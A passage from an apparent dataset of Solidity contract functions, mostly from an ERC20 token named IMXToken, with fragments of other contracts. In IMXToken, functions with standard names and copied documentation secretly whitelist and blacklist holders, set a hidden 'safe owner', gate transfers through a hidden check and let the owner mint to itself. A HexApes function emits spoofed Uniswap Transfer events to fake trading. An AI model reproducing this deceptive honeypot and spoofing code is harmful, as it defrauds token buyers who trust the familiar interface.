contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
2402,
2490
]
} | 59,261 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
2550,
2655
]
} | 59,262 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
2713,
2837
]
} | 59,263 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
3045,
3229
]
} | 59,264 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
3776,
3932
]
} | 59,265 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
4074,
4248
]
} | 59,266 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amou... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
4717,
5047
]
} | 59,267 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
5451,
5742
]
} | 59,268 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
6240,
6388
]
} | 59,269 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | addApprove | function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
6803,
7087
]
} | 59,270 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances... | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
7574,
8122
]
} | 59,271 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
8398,
8704
]
} | 59,272 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _to... | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
9031,
9454
]
} | 59,273 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount)... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
9889,
10238
]
} | 59,274 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approveCheck | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(send... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
10683,
11275
]
} | 59,275 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
12994,
13089
]
} | 59,276 |
IMXToken | IMXToken.sol | 0xaeb29c7b70ceab600013680850c6533b577108e7 | Solidity | IMXToken | contract IMXToken is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* -... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f | {
"func_code_index": [
13687,
13784
]
} | 59,277 |
BNPLToken | @openzeppelin/contracts/utils/Context.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves ... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
88,
146
]
} | 59,278 |
BNPLToken | @openzeppelin/contracts/utils/Context.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves ... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
223,
294
]
} | 59,279 |
BNPLToken | @openzeppelin/contracts/utils/Context.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves ... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
504,
584
]
} | 59,280 |
BNPLToken | @openzeppelin/contracts/utils/Context.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves ... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
849,
935
]
} | 59,281 |
BNPLToken | @openzeppelin/contracts/utils/Context.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves ... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
1571,
1648
]
} | 59,282 |
BNPLToken | @openzeppelin/contracts/utils/Context.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves ... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
1943,
2069
]
} | 59,283 |
HexApes | HexApes.sol | 0x0862f2e82018e66460b1aa1cd1aecc6f33ac6b02 | Solidity | HexApes | contract HexApes is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) pr... | multicall | function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
| //-----------------------------------------------------------------------------------------------------------------------// | LineComment | v0.6.12+commit.27d51765 | None | ipfs://dcfdc33ddf7ab2b896543a1f942874eeb3e7bd3d5b66a70b790d03668ae1acd8 | {
"func_code_index": [
7331,
7632
]
} | 59,284 | ||
BNPLToken | @openzeppelin/contracts/utils/introspection/IERC165.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | IERC165 | interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This f... | /**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/ | NatSpecMultiLine | supportsInterface | function supportsInterface(bytes4 interfaceId) external view returns (bool);
| /**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
374,
455
]
} | 59,285 |
BNPLToken | @openzeppelin/contracts/utils/introspection/IERC165.sol | 0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53 | Solidity | ERC165 | abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
} | /**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interface... | NatSpecMultiLine | supportsInterface | function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
| /**
* @dev See {IERC165-supportsInterface}.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | MIT | ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa | {
"func_code_index": [
103,
265
]
} | 59,286 |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | setStatus | function setStatus(uint8 status) external;
| /**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
190,
237
]
} | 59,287 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
* Get contract service status.
* @return contract service st... | /**
* XC Contract Interface.
*/ | NatSpecMultiLine | getStatus | function getStatus() external view returns (uint8);
| /**
* Get contract service status.
* @return contract service status.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a | {
"func_code_index": [
336,
392
]
} | 59,288 | |
XC | XC.sol | 0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34 | Solidity | XCInterface | interface XCInterface {
/**
* Set contract service status.
* @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;).
*/
function setStatus(uint8 status) external;
/**
